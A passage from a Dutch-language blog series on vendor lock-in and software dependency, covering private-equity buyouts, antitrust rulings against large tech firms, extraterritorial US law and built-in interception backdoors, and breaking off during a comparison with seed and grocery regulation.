vroeger bezat.\nKosten die dit jaar niet opduiken worden gesneden. Dat betekent meestal onderhoud, personeelsaantallen, onderzoek en productontwikkeling.\nDan wordt het bedrijf doorverkocht.\nDe Bank of England heeft de financiële-stabiliteitskant hiervan bekeken. Zijn review van private equity merkt op dat zware leningen bij buyouts die bedrijven waarschijnlijker in gebreke doen blijven, en hun kredietverstrekkers blootstelt aan verliezen. Het is de sector blijven volgen sindsdien.\nNiet elke buyout werkt zo, en heel wat eigenaren investeren in plaats van te strippen. Dit is een patroon om te herkennen, geen beschrijving van alle kopers.\nMaar waar het wel gebeurt, is de uitkomst elke keer hetzelfde.\nHet bedrijf werkte meestal prima. Wat niet werkte was het bedrijf plus de schuld die aangegaan werd om het te kopen.\nHetzelfde bedrijf voor en na een buyout gefinancierd door lenen Voor Na Het werk Zelfde personeel, zelfde klanten Bezit zijn gebouwen Geen schuld van gekocht zijn Financiert onderhoud Financiert onderzoek Huur betaald: geen Het werk Zelfde personeel, zelfde klanten Huurt dezelfde gebouwen Draagt de lening om het te kopen Onderhoud verminderd Onderzoek verminderd Huur betaald: elke maand gekocht met geleend geld Het bedrijf doet nog steeds hetzelfde werk voor dezelfde klanten. Wat veranderde is wat het bezit, en wat het nu moet uitkeren. Hetzelfde bedrijf, voor en na. Het werk en de klanten blijven staan. De gebouwen en de leningen wisselen van eigenaar, en de lopende kosten gaan omhoog. Hetzelfde patroon in software Dit bereikte software enkele jaren terug.\nHet bezit dat bewerkt wordt is geen gebouw. Het zijn de klanten die niet makkelijk weg kunnen.\nEen volwassen product met langdurige klanten kan opnieuw geprijsd worden. Die klanten kunnen niet snel verhuizen, en als zodanig betaalt het merendeel van hen.\nTegelijkertijd kan de uitgave aan engineering gesneden worden. Dat kost jaren om te tonen, en tegen dan is de verkoop doorgegaan.\nDeel 2 behandelde hoe dit eruitzag voor VMware-klanten.\nEr is ook een versie gefinancierd door investeerders in plaats van schuld. Het is vaak genoeg beschreven om een naam te verdienen: enshittification, een woord gebruikt door de Canadese schrijver Cory Doctorow vanaf 2022.\nHet loopt in 3 fases.\nDe dienst wordt verkocht onder wat het kost om te draaien, betaald door investeerders. Het is goedkoop en goed, dus mensen stappen erop over. Zodra mensen niet makkelijk weg kunnen, wordt het aangepast om in plaats daarvan de betalende zakelijke klanten te passen. Zodra beide kanten vastzitten, veranderen de voorwaarden weer om winst te verhogen. Fase 1 is degene die telt voor deze serie.\nEen bedrijf dat jarenlang onder de kostprijs verkoopt wint niet omdat het beter is. Het wordt gefinancierd om de markt te nemen.\nKleinere bedrijven die hun eigen kosten moeten dekken kunnen die prijs niet evenaren. Heel wat gaan dicht.\nWanneer prijzen later klimmen naar iets houdbaars, is de keuze die vroeger bestond vaak weg.\nWat het voor jou betekent Twee praktische dingen komen hieruit, en beide zijn makkelijk genoeg te doen.\nControleer hoeveel mensen je afhankelijkheden draaiende houden.\nKijk naar het gereedschap waar je systemen niet zonder zouden kunnen draaien. Zoek uit hoeveel mensen elk ervan actief onderhouden.\nAls het antwoord 1 of 2 is, is dat de moeite waard te weten. Je wilt misschien dat werk financieren, je eigen kopie van de broncode houden, of plannen wat je zou doen als het stopte.\nLet op wie je leveranciers bezit.\nJe voorwaarden volgen de eigenaar, niet het product. Een eigendomswisseling kan je verlenging meer verschuiven dan welke verandering in de software ook.\nWanneer je tekent, controleer wat je houdt als je stopt met betalen. Controleer of je nog steeds kunt draaien wat je al geïnstalleerd hebt, en of je nog steeds beveiligingsupdates krijgt.\nGeen van beide kost lang. Beide zijn veel makkelijker vóór een verlenging dan tijdens een.\nDeel 4 kijkt naar wat rechtbanken en toezichthouders al beslist hebben.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/who-pays-for-the-software/","summary":"De eerste 2 posts keken naar wat afhankelijkheid je kost. Deze kijkt naar wie er nog meer voor opdraait: de vrijwilligers die software draaiende houden voor heel grote bedrijven, en de bedrijven die gekocht, tegen geleend en teruggestript worden. Deel 3 van 8, in simpele taal.","title":"Wie Betaalt Voor De Software Die Je Gebruikt"},{"content":"Deel 4 van 8. Deel 3 keek naar wie voor de software die je gebruikt betaalt.\nWat deze post behandelt Waarom het dossier de moeite waard is om te lezen. Wat er over Google beslist is. Wat er over Apple beslist is. Wat er over Amazon beslist is. Wat er over Meta beslist is. Het patroon over de hele boel. Waarom het dossier de moeite waard is om te lezen Een leverancier kiezen is een voorspelling. Je beslist hoe ze zich over 3 of 5 jaar zullen gedragen.\nKernwaardenverklaringen van bedrijven zijn daar niet veel nut voor. Iedereen heeft er een, en ze zeggen allemaal ongeveer hetzelfde.\nFeitelijke bevindingen zijn beter. Dat zijn conclusies die een rechtbank of toezichthouder bereikte na het horen van bewijs.\nDat is wat deze post gebruikt. Waar een Europese beslissing bestaat, komt die eerst.\nTwee dingen vóór de lijst, want ze houden het eerlijk.\nNiet elke zaak ging tegen de bedrijven. Sommige gingen tegen de toezichthouders, en die staan hier ook in.\nEn dit is geen bewering dat Europese bedrijven zich beter gedragen. Volkswagen en Wirecard beslechten dat goed genoeg. Het patroon volgt uit omvang en marktpositie, niet uit waar een bedrijf vandaan komt.\nGoogle De Europese Commissie kwam er het eerst, en de zaken duurden lang om af te ronden.\nIn 2017 beboette het Google met €2,42 miljard. Het vond dat Google zijn eigen prijsvergelijkingsdienst omhoog in de zoekresultaten had geduwd en rivalen omlaag.\nGoogle ging in beroep, en het Hof van Justitie van de Europese Unie bevestigde de beslissing in september 2024.\nDat is 7 jaar na de boete, en nog langer na het gedrag.\nIn 2018 beboette de Commissie Google met €4,34 miljard over de voorwaarden die telefoonmakers werden opgelegd die de Play Store wilden. De boete werd later verlaagd tot ongeveer €4,1 miljard, en het laatste beroep werd in 2026 afgewezen.\nIn 2019 beboette de Commissie Google met €1,49 miljard over advertentiecontracten. Het Gerecht vernietigde die in 2024, en vond dat de zaak niet was gemaakt. De toezichthouder verloor het.\nIn de Verenigde Staten vond een rechtbank in 2024 dat Google onwettig een monopolie in zoeken had vastgehouden. In september 2025 zette dezelfde rechtbank de oplossingen uiteen. Het vereiste veranderingen aan standaardovereenkomsten en enig delen van data met concurrenten. Het weigerde Google Chrome of Android te laten verkopen.\nEen aparte Amerikaanse uitspraak in april 2025 vond dat Google 2 van zijn advertentieproducten onwettig aan elkaar had gekoppeld. Die oplossing wordt nog beslist.\nApple In 2021 beval een Amerikaanse rechtbank Apple app-ontwikkelaars te laten vertellen over andere manieren om te betalen.\nIn april 2025 vond dezelfde rechtbank dat Apple niet had voldaan.\nHet vond ook dat een hoge Apple-manager bewijs had gegeven dat onwaar was, en dat de eigen interne documenten van het bedrijf iets anders zeiden. CNBC rapporteerde de uitspraak destijds.\nDe rechtbank verwees de zaak naar aanklagers om strafrechtelijke minachtingsprocedures te overwegen. Apple zei in beroep te gaan.\nDeze telt om een andere reden dan de rest.\nEen bedrijf kan een stevige kijk op zijn juridische positie hebben en toch recht handelen met een rechtbank. Een bevinding dat bewijs onwaar was is heel iets anders.\nJe relatie met een leverancier is een set beloften. Dit is direct bewijs van hoe beloften behandeld worden zodra ze houden duur wordt.\nAmazon In september 2025 stemde Amazon ermee in $2,5 miljard te betalen om een zaak te schikken die was aangespannen door de Amerikaanse Federal Trade Commission. De Commissie publiceerde het detail.\nHet was $1 miljard aan boetes en $1,5 miljard terug naar klanten.\nDe zaak ging over het ontwerp van Prime-aanmelding en -opzegging. De beschuldiging was dat de schermen gebouwd waren om mensen in te schrijven die niet gekozen hadden zich in te schrijven, en om opzeggen zwaar werk te maken. De Commissie zei dat ongeveer 35 miljoen mensen getroffen waren.\nAmazon stemde ermee in het aanmeld- en opzegproces te veranderen als deel van de schikking.\nInterfaceontwerpen op die schaal worden getest en gemeten voor uitgave — dat is normale, verstandige praktijk. Als zodanig is het effect van een ontwerp meestal bekend voordat het uitkomt.\nMeta In 2019 legde de Amerikaanse Federal Trade Commission een boete van $5 miljard op aan Facebook over privacypraktijken, na de Cambridge Analytica-zaak.\nHet grotere item is geen boete.\nIn 2021 overhandigde een voormalig medewerker intern bedrijfsonderzoek aan journalisten, en gaf toen bewijs aan een commissie van de Amerikaanse Senaat. De BBC rapporteerde haar centrale bewering, namelijk dat het bedrijf winst boven veiligheid had gesteld, keer op keer.\nEen deel van dat onderzoek keek naar het effect van Instagram op tienergebruikers. Delen ervan kwamen zorgwekkend terug.\nMeta was het oneens met hoe het onderzoek werd beschreven. Het zei dat de bevindingen gemengder waren dan gerapporteerd, en dat de voormalige medewerker niet aan die teams had gewerkt. De bredere wetenschap hierover is niet beslecht, en het is niet meer dan eerlijk dat te zeggen.\nEén punt is niet in geschil, en het is het punt om te bewaren.\nHet bedrijf onderzocht of zijn product een groep gebruikers schaadde. Een deel van dat werk kwam zorgwekkend terug. De resultaten bereikten het publiek omdat iemand ze het gebouw uit droeg.\nOnderzoek dat alleen op die manier naar buiten komt is niks als onafhankelijk toezicht.\nHet patroon over de hele boel Zet de zaken naast elkaar en 4 dingen springen eruit. Deze tellen meer voor planning dan welke enkele zaak ook.\n1. De boetes zijn klein naast de winst.\nEen paar miljard is een klein cijfer tegen omzetten in de honderden miljarden. Het landt ook jaren nadat het geld verdiend was.\nWanneer een boete op minder uitkomt dan het voordeel, werkt het als een kost van zakendoen in plaats van een afschrikmiddel.\n2. De oplossingen komen laat.\nDe kloof tussen het gedrag en een afdwingbare oplossing loopt van ongeveer 7 tot 12 jaar in deze zaken.\nConcurrenten houden zelden zo lang stand. Tegen de tijd dat een oplossing bijt, heeft de markt die het moest beschermen meestal al een andere vorm aangenomen.\n3. Individuen worden zelden geraakt.\nBoetes worden betaald door het bedrijf — dus door zijn aandeelhouders — terwijl de mensen die de beslissingen goedkeurden meestal hun loon en hun baan houden.\nDat telt omdat het de prikkel vormt. Waar de kost op het bedrijf valt en de beloning op het individu, ziet de beslissing er de moeite waard uit voor de persoon die hem maakt.\n4. Problemen zijn van binnen bekend voordat ze van buiten bekend zijn.\nIn verscheidene van deze zaken had het bedrijf de informatie eerst. Het bereikte het publiek via een lek, een rechtszaak of een toezichthouder in plaats daarvan.\nWees voorzichtig met wat je daaruit haalt, overigens.\nDit zijn meestal geen gevallen van één persoon die eropuit is schade te doen. Een team verbeterde een aanmeldscherm tegen een doel. Een rankingsysteem werd afgesteld om gebruik te verhogen. Een onderzoeksbevinding bleef ongepubliceerd.\nDe beslissingen zijn verspreid over veel mensen, en elke stap ziet er op zichzelf redelijk uit. Dat is wat het patroon zo gestaag maakt, en waarom bedrijven vragen harder hun best te doen het waarschijnlijk niet zal verschuiven.\nWat hiermee te doen Gebruik het voor de vraag die het werkelijk beantwoordt.\nWaar een leverancier een commercieel belang heeft en jij geen echt alternatief, zegt het dossier dat de uitkomst de kant van de leverancier op neigt.\nElke correctie arriveert meestal jaren later, en kost de leverancier meestal minder dan het gedrag opleverde.\nDat is geen reden om een leverancier te vermijden over het land waar het zit.\nHet is een goede reden om niet afhankelijk te zijn van welke leverancier ook die je niet zou kunnen verlaten.\nDeel 5 kijkt naar hoe de wet van het ene land bedrijven in een ander kan bereiken.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/what-the-record-shows/","summary":"Een leverancier kiezen betekent raden hoe ze zich later zullen gedragen. De eerlijkste basis voor die gok is wat rechtbanken en toezichthouders al beslist hebben. Deel 4 van 8 zet de bevindingen uiteen, bevat de zaken die toezichthouders verloren, en tekent het patroon.","title":"Wat Het Dossier Toont"},{"content":"Deel 5 van 8. Deel 4 keek naar wat rechtbanken en toezichthouders hebben beslist.\nWat deze post behandelt Wet die bedrijven in andere landen bereikt. Wat Frankrijk ervan maakte. Oudere zorgen over commerciële informatie. Druk toegepast via handel. Aannames die met een product meereizen. Wet die bedrijven in andere landen bereikt Deel 2 legde uit hoe de wet van het ene land data kan bereiken die gehouden wordt door een bedrijf dat het beheert.\nHetzelfde principe bereikt bedrijven zelf, en de effecten kunnen heel wat groter zijn.\nHet best gedocumenteerde voorbeeld in Europa is Alstom, een Frans ingenieursbedrijf.\nIn 2014 bekende Alstom schuld in de Verenigde Staten en stemde ermee in $772 miljoen te betalen. De zaak viel onder de Foreign Corrupt Practices Act, een Amerikaanse anti-omkopingswet. Het Amerikaanse Department of Justice publiceerde het detail.\nDe omkoping was echt. Dit is geen verhaal over een onschuldig bedrijf.\nEen Alstom-manager werd ook gearresteerd terwijl hij door de Verenigde Staten reisde, en zat een tijd in de gevangenis.\nRond dezelfde periode verkocht Alstom zijn energiebedrijf aan General Electric, een Amerikaans bedrijf.\nDe manager heeft sindsdien betoogd dat de onopgeloste zaak als druk werkte tijdens die verkoop. Amerikaanse aanklagers hebben ontkend te hebben gehandeld om een Amerikaanse koper te helpen.\nDie onenigheid is nooit beslecht, en als zodanig kan deze post het ook niet beslechten.\nWat Frankrijk ervan maakte Wat wél getoond kan worden is wat de Franse staat achteraf concludeerde.\nIn juni 2019 ging een rapport naar de Franse premier. Het staat bekend als het Gauvain-rapport, en zijn titel gaat over het herstellen van Franse en Europese soevereiniteit en het beschermen van bedrijven tegen wetten met extraterritoriale reikwijdte.\nExtraterritoriaal betekent een wet die geldt voorbij de grenzen van het land dat hem maakte.\nHet rapport vond 3 dingen die het hier waard zijn te herhalen.\nHeel grote boetes, oplopend tot tientallen miljarden dollars, waren opgelegd aan Franse, Europese en andere niet-Amerikaanse bedrijven. Veel van het gedrag had weinig directe verbinding met Amerikaans grondgebied. Franse bedrijven hadden geen effectieve juridische middelen om zich te verdedigen. Het merkte ook op dat Amerikaanse bedrijven zelden het doelwit waren.\nFrankrijk werkte toen zijn blokkadewet bij, een wet die beperkt welke informatie Franse bedrijven aan buitenlandse autoriteiten mogen overhandigen. Een eerder parlementair onderzoek had in 2016 naar hetzelfde onderwerp gekeken.\nJe hoeft niet elke conclusie in dat rapport te slikken. Het is genoeg dat een nationaal parlement naar de vraag keek en besloot dat het een kwestie van soevereiniteit was.\nVoor je eigen planning is het punt kort.\nJuridische blootstelling aan een ander land is een commerciële blootstelling. Niet alleen een compliance-blootstelling.\nOudere zorgen over commerciële informatie Deze zorg is niet nieuw, en het is de moeite waard te weten hoe ver terug het loopt.\nIn 2001 publiceerde het Europees Parlement een rapport over een wereldwijd communicatie-interceptiesysteem, toen bekend als ECHELON. Het Parlement heeft sindsdien een studie gepubliceerd die dat werk opnieuw bekijkt.\nHet rapport concludeerde dat zo\u0026rsquo;n systeem bestond. Het onderzocht ook beweringen dat onderschepte informatie was gebruikt voor commercieel voordeel, waaronder Europese bedrijven.\nDie beweringen werden destijds betwist en blijven moeilijk te bewijzen.\nDe reden om het te noemen is niet om ze te beslechten. Het is dat het Europees Parlement de vraag serieus genoeg nam om 25 jaar terug een formeel onderzoek te doen, en het is sindsdien niet weggegaan.\nDruk toegepast via handel Deel 2 behandelde tarieven op apparatuur, en Canada dat zijn digitaledienstenbelasting liet vallen nadat handelsbesprekingen werden afgeblazen.\nEr is nog één stap die het waard is apart vast te leggen, want het geldt voor mensen in plaats van goederen.\nIn januari 2026 legde het Amerikaanse State Department visumbeperkingen op aan 5 Europese functionarissen. Ze hadden aan de Digital Markets Act en de Digital Services Act gewerkt, de Europese wetten die grote onlineplatforms besturen.\nHet kwam naast tariefdreigingen verbonden aan Europese handhavingsactie.\nHet Centre for Strategic and International Studies heeft dit beschreven als handelsmaatregelen gebruiken om digitale regulering te ontmoedigen.\nHet Istituto Affari Internazionali, een Italiaans instituut, heeft gekeken of handhaving van de Digital Markets Act onderhandelbaar aan het worden is als gevolg.\nDat is de open vraag. Als Europese technologieregels door handelsdruk verschoven kunnen worden, is de bescherming die ze je geven minder zeker dan de tekst suggereert.\nHet is niet meer dan eerlijk toe te voegen dat handelsdruk een normaal instrument van staatkunde is, gebruikt door heel wat landen inclusief Europese. Het punt hier is waarop het gebruikt wordt.\nAannames die met een product meereizen Het laatste item is stiller dan de rest — geen rechtszaak, geen boete — en het raakt je elke dag.\nSoftware wordt gebouwd voor de markt die zijn makers het best kennen. De aannames van die markt reizen ermee mee.\nSommige zul je meteen herkennen.\nPrivacy-instellingen staan vaak standaard op delen, want dat is de gebruikelijke aanpak in de Verenigde Staten. Europese wet begint bij om toestemming vragen. Personeelsbeheergereedschap neemt vaak aan dat werk op korte termijn kan eindigen, en dat er geen ondernemingsraad is om te raadplegen. Standaardcontractvoorwaarden willen vaak dat geschillen in een Amerikaanse rechtbank worden gehoord, onder Amerikaanse wet, zelfs voor een Europese klant. Contentregels volgen de aanpak van 1 land tot vrije meningsuiting, en worden dan wereldwijd toegepast. Ondersteuning voor kleinere talen komt als laatste op, en soms helemaal niet. Niets hiervan wordt gedaan om last te veroorzaken — het is het gewone resultaat van bouwen voor een thuismarkt en het resultaat overal elders verkopen.\nHet verklaart wel iets over het bredere argument.\nDe Algemene Verordening Gegevensbescherming, de Digital Markets Act en de Digital Services Act zijn grotendeels Europa dat verklaart dat het een apart rechtsgebied is met zijn eigen vaste regels.\nHet antwoord daarop heeft de handelsmaatregelen hierboven omvat.\nWat het voor jou betekent Drie praktische punten vallen hieruit.\nLees de clausule over toepasselijk recht. Controleer wiens rechtbanken een geschil zouden horen. Op een groot contract is dat het onderhandelen waard.\nVraag waar het moederbedrijf van je leverancier is geregistreerd. Dat antwoord beslist meer dan het adres van het datacenter.\nControleer of een product bij je juridische omgeving past voordat je koopt. Toestemming, arbeidsregels en administratie zijn de gebruikelijke plekken waar een geïmporteerde standaard niet bij lokale wet past.\nNiks daar heeft een mening over welke overheid dan ook nodig. Het is gewone leverancierszorgvuldigheid, toegepast op een vraag die de meeste inkoopchecklists nog steeds overslaan.\nDeel 6 kijkt naar beveiliging, en naar de norm die wordt toegepast wanneer een leverancier op nationale-veiligheidsgronden buitengesloten wordt.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/how-far-the-law-reaches/","summary":"Deel 2 behandelde de wet die je data bereikt. Deel 5 van 8 behandelt de wet die je bedrijf bereikt: grote boetes onder Amerikaanse wet, een Frans parlementair rapport over of dat als commercieel wapen werkt, handelsdruk toegepast op belastingwet en op toezichthouders, en producten die de aannames van één markt overal meedragen.","title":"Hoe Ver De Wet Van Eén Land Reikt"},{"content":"Deel 6 van 8. Deel 5 keek naar hoe ver de wet van één land reikt.\nWat deze post behandelt De reden gegeven om sommige leveranciers buiten te sluiten. Wat er vaststaat over verzwakte producten. Wat er in 2024 gebeurde. Waarom dit ook op Europa landt. Wat je eraan kunt doen. De reden gegeven om sommige leveranciers buiten te sluiten Verscheidene overheden hebben Chinese leveranciers uit telefoon- en internetnetwerken gesloten, en sommige Chinese apps op officiële apparaten beperkt.\nDe reden die gegeven wordt is meestal dezelfde: een bedrijf kan gedwongen worden zijn eigen overheid te helpen. Dus de apparatuur draagt een risico, wat de code ook doet.\nDie redenering is deugdelijk. Het is ook dezelfde redenering gebruikt in deel 2 over wiens wet op je data van toepassing is.\nLaten we over één ding duidelijk zijn voordat we verdergaan.\nCyberoperaties door de Chinese staat zijn echt. Europese nationale-veiligheidsdiensten documenteren ze net zo goed als Amerikaanse, en ze omvatten grootschalige diefstal van commerciële informatie. Niks in deze post is een verdediging daarvan.\nMaar als het principe is dat een leverancier gedwongen kan worden zijn eigen overheid te helpen, dan geldt het voor elke leverancier die een overheid heeft.\nPas het gelijk toe en het dossier aan de Europese en Amerikaanse kant is niet leeg. Op plekken is het beter vastgesteld dan de beschuldigingen, omdat parlementen het hebben onderzocht.\nWat er vaststaat over verzwakte producten Drie items, elk met een bron, in volgorde van hoe stevig ze overeind blijven.\nEen inlichtingendienst bezat een encryptiebedrijf.\nCrypto AG was een Zwitsers bedrijf dat vanaf de jaren vijftig cijfermachines verkocht aan meer dan 120 overheden.\nHet was eigendom van de Amerikaanse CIA en de Duitse BND. De machines waren aangepast zodat die diensten de berichten konden lezen van de overheden die ze kochten.\nHet rust op meer dan journalistiek. Nadat het verhaal uitbrak, onderzocht het eigen inlichtingentoezichtorgaan van het Zwitserse parlement het en publiceerde in november 2020 een rapport.\nDe Zwitserse publieke omroep SWI heeft de bevindingen behandeld, waaronder dat de Zwitserse inlichtingendienst het sinds 1993 wist.\nKlanten omvatten Europese overheden. Het liep ongeveer 50 jaar.\nEen cryptografische standaard werd ingetrokken.\nEen generator van willekeurige getallen genaamd Dual_EC_DRBG werd gepubliceerd als een Amerikaanse standaard — willekeurige getallen zijn wat encryptie gebruikt om sleutels onvoorspelbaar te maken.\nOnderzoekers toonden dat het ontwerp wie ook bepaalde waarden erin koos zijn uitvoer liet voorspellen.\nDe standaardeninstantie raadde het gebruik ervan af in 2013 en verwijderde het in 2014. The Register rapporteerde destijds over de gerelateerde commerciële regelingen.\nApparatuur is onderschept tijdens transport.\nIn december 2013 publiceerde het Duitse tijdschrift Der Spiegel een catalogus van interceptiegereedschap dat routers, firewalls, servers en opslagfirmware van bekende fabrikanten dekte.\nDe verslaggeving beschreef ook apparatuur die tijdens transport werd omgeleid, aangepast, opnieuw ingepakt en doorgestuurd naar de klant.\nDie laatste is een moment waard van iedereen die hardware koopt.\nHet betekent dat de vertrouwensgrens niet alleen je leverancier is — het is je leverancier en alles dat de levering afhandelt.\nEen eerlijke leverancier kan je geen garantie geven over het tweede deel.\nWat er in 2024 gebeurde Dit is de gebeurtenis die de engineeringvraag beantwoordt, en het is het nuttigste ding in deze post.\nIn 1994 namen de Verenigde Staten een wet aan die telefoonbedrijven vereiste hun netwerken zo te bouwen dat communicatie op een rechtmatig verzoek onderschept kon worden.\nDus de ingang was permanent, ingebouwd, en beheerst door juridisch proces.\nIn 2024 werd ontdekt dat een groep verbonden aan de Chinese staat, publiek Salt Typhoon genoemd, was binnengedrongen in ten minste 9 grote Amerikaanse telefoonbedrijven.\nOnder de bereikte systemen waren de interceptiesystemen zelf. The Register rapporteerde over de reactie van wetgevers.\nDe ingang die de ene overheid liet bouwen werd de ingang waar een andere overheid binnenkwam.\nDat is geen pech. Het volgt uit hoe zo\u0026rsquo;n ding werkt.\nEen ingebouwde ingang is een capaciteit, geen regel. De wet die het beheerst bindt alleen mensen die die wet accepteren. Iemand die is ingebroken doet dat niet.\nElk argument voor ingebouwde rechtmatige toegang neemt aan dat de toegang tot de bedoelde gebruiker beperkt kan blijven. Dit is het helderste bewijs dat er is dat de aanname niet standhoudt.\nWaarom dit ook op Europa landt Als die redenering juist is, is het overal juist, en als zodanig landt het ook op Europese voorstellen.\nVoorstellen om berichten op het apparaat te scannen voordat ze versleuteld worden creëren hetzelfde soort ingebouwde ingang.\nHet Verenigd Koninkrijk heeft een bevoegdheid om bedrijven te verplichten technische capaciteiten te leveren. Het is gebruikt om veranderingen aan een encryptiefunctie te vereisen, en de leverancier trok die functie in het Verenigd Koninkrijk terug in plaats van hem te veranderen.\nBeide worden nagestreefd door democratieën, met toezicht, om ernstige redenen zoals kinderen beschermen.\nBeide bouwen ook precies het soort capaciteit dat 2024 toonde niet betrouwbaar tot zijn bedoelde gebruiker beperkt kan blijven.\nEen Europese ingang is niet veiliger dan welke andere ook, want een indringer kan het niet schelen hoe verantwoordelijk de instelling is. Wat hem kan schelen is of het ding bestaat.\nWat de reden is dat de nuttige versie van dit argument een technische is, geen politieke.\n\u0026ldquo;Vertrouw geen leveranciers uit land X\u0026rdquo; moet elke keer heropend worden als de politiek verschuift.\n\u0026ldquo;Ga ervan uit dat elke ingebouwde ingang uiteindelijk gebruikt zal worden door iemand voor wie hij niet gebouwd was\u0026rdquo; houdt hoe dan ook stand.\nWat je eraan kunt doen Het praktische antwoord gaat niet vooral over van wie je koopt. Het gaat over zo ontwerpen dat de vraag minder telt.\nBehandel het netwerk als onvertrouwd. Versleutel verkeer eind-tot-eind, en laat het ene systeem het andere niet vertrouwen alleen vanwege waar het op het netwerk zit.\nHoud je eigen encryptiesleutels waar je kunt. Deel 2 legde uit waarom dat verandert wie om je data gevraagd kan worden. Het beperkt ook wat een indringer de moeite waard vindt om te hebben.\nVerstuur minder. Data die je nooit verzamelde kan niet onderschept, opgevraagd of verloren worden. Minst modieuze controle op de lijst, en vaak de meest effectieve.\nControleer wat je apparatuur draait voordat je het vertrouwt. Verified boot en firmwarecontrole zijn het aanzetten waard waar je hardware ze ondersteunt.\nOp werkelijk gevoelige systemen, controleer leveringen. Manipulatie-onthullende verpakking en vastgelegde serienummers zijn simpel genoeg.\nGeen van deze vereist dat je beslist welke overheid je het meest zorgen moet baren.\nDat is precies waarom ze het betere antwoord zijn. Een controle die alleen werkt als je gok over politiek juist is, is niet echt een controle.\nDeel 7 stapt buiten technologie, en kijkt naar hoe andere industrieën hetzelfde probleem afhandelden.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/backdoors-and-who-is-accused/","summary":"Een leverancier op beveiligingsgronden buitensluiten vereist een norm, gelijk toegepast. Deel 6 van 8 zet uiteen wat vaststaat over verzwakte producten en interceptie, waaronder een Zwitsers parlementair onderzoek, en toont waarom een ingebouwde ingang toebehoort aan wie het ook bereikt.","title":"Achterdeuren, en Wie Ervan Beschuldigd Wordt"},{"content":"Deel 7 van 8. Deel 6 keek naar beveiliging en ingebouwde ingangen.\nWat deze post behandelt Waarom de vergelijking nuttig is. Zaden, en licentievoorwaarden op levende dingen. Supermarkten, en de regels die voor ze gebouwd zijn. Waarom technologie niks vergelijkbaars heeft. Wat het je vertelt. Waarom de vergelijking nuttig is Er is een gangbare kijk dat technologie een nieuw soort macht is en een nieuw soort denken nodig heeft.\nHet is een geruststellende kijk, en het is grotendeels fout. Het geloven is één reden dat het antwoord zo traag gekomen is.\nHet probleem in deze serie is een oud probleem. Een leverancier wordt onmisbaar. De alternatieven van de klant verdwijnen. Voorwaarden houden op afgesproken te worden en beginnen aangekondigd te worden.\nDat is gebeurd in industrieën zonder software erin.\nDe vergelijking helpt op 2 manieren.\nHet toont wat er meestal na komt, want die industrieën zijn verder op de weg.\nEn het toont hoe een serieus antwoord eruitziet, want sommige van die antwoorden bestaan al en werken.\nZaden, en licentievoorwaarden op levende dingen Een boer die zaad koopt zit in ongeveer dezelfde positie als een organisatie die kernsoftware koopt.\nVier bedrijven, Bayer, Corteva, Syngenta en BASF, houden het meeste van de wereldwijde zaadmarkt en een vergelijkbaar aandeel van pesticiden. De Zwitserse organisatie Public Eye publiceert er analyse van.\nVoor sommige individuele gewassen is het nog strakker, en een handjevol bedrijven houdt het meeste van de relevante octrooien.\nDe licentiëring zal bekend voorkomen als je ooit een softwareovereenkomst hebt gelezen.\nEen geoctrooieerd zaad wordt niet simpelweg verkocht. Het wordt in licentie gegeven, en de voorwaarden kunnen de oudste praktijk in de landbouw stoppen: een deel van de oogst van dit jaar houden om volgend jaar te planten.\nDus de boer koopt het gebruik van het zaad voor 1 seizoen. Het recht om het te reproduceren, wat het hele punt van een zaad is, stopt bij de leverancier.\nDat is een permanente aankoop veranderd in een terugkerende. Het overkwam de landbouw voordat het software overkwam.\nEr is een tweede bekend detail.\nHet zaad is vaak gebouwd om met een bepaald pesticide te werken, en hetzelfde bedrijf verkoopt beide. Het ene kopen maakt het andere kopen makkelijker dan overstappen.\nLandbouweconomen hebben de resultaten gevolgd: minder rassen beschikbaar, hogere inputkosten, en minder mogelijkheid om van leverancier te veranderen.\nSupermarkten, en de regels die voor ze gebouwd zijn De andere helft van voedsel toont hetzelfde probleem vanaf de koopkant. Dit is het voorbeeld dat het kopiëren waard is.\nEen klein aantal retailers handelt het meeste van de kruidenierswarenverkoop in het Verenigd Koninkrijk af.\nDus een leverancier staat tegenover heel weinig mogelijke klanten. Er een verliezen kan het bedrijf afmaken. Voor de retailer is een leverancier vervangen een ochtend werk.\nDie onbalans werd goed genoeg gedocumenteerd dat het Parlement handelde. De Groceries Code Adjudicator werd in 2013 opgezet. Het houdt toezicht op of grote retailers de Groceries Supply Code of Practice volgen.\nKijk naar wat die code beperkt, en denk dan aan je laatste softwareverlenging.\nAfgesproken voorwaarden achteraf veranderen, zonder overeenstemming. Een leverancier laten betalen voor het recht om te blijven zakendoen. Kosten en risico\u0026rsquo;s naar de leverancier verschuiven zonder compensatie. Uit de verkoop nemen gebruiken als hefboom in een geschil. De Europese Unie bouwde zijn eigen versie. Richtlijn 2019/633 over oneerlijke handelspraktijken dekt de landbouw- en voedseltoeleveringsketen.\nHet verbiedt late betaling, bestellingen op korte termijn annuleren, voorwaarden eenzijdig veranderen, en dreigen met commerciële vergelding. Elke lidstaat heeft een autoriteit om het te handhaven.\nGeen van beide regimes is perfect. De bevoegdheden van de Adjudicator zijn beperkt, het dekt de prijsstelling zelf niet, en het heeft zijn sterkste bevoegdheden spaarzaam gebruikt.\nMaar het principe erin is het principe dat in technologie ontbreekt.\nWaar onderhandelingsmacht heel ongelijk is, bestaat contractvrijheid niet echt. Dus worden bepaalde praktijken ronduit verboden, in plaats van overgelaten aan onderhandeling.\nNiemand heeft voorgesteld dat een softwareleverancier gestopt moet worden afgesproken voorwaarden achteraf te veranderen.\nNiemand behandelt een heffing voor het eruit halen van je eigen data als een kost verschuiven naar de zwakkere partij.\nIn voedsel zouden beide meteen opgemerkt worden. In software noemen we het een licentiemodel.\nWaarom technologie niks vergelijkbaars heeft Vier redenen, en ze zijn het begrijpen waard omdat ze wijzen op wat er zou moeten veranderen.\nSnelheid. Concentratie in kruidenierswaren nam ongeveer 100 jaar. Cloudconcentratie nam ongeveer 15. Tegen de tijd dat je het helder kon zien, was het gebeurd.\nGratis diensten. Mededingingsrecht groeide in de meeste landen op rond prijzen betaald door consumenten. Een dienst geprijsd op nul ziet er onschadelijk uit onder die test, zelfs wanneer de klant 